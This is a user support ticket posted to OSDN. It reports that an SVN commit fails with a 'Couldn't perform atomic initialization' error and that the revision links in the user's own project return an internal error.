OSDN User Support
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization".
When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net."
I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.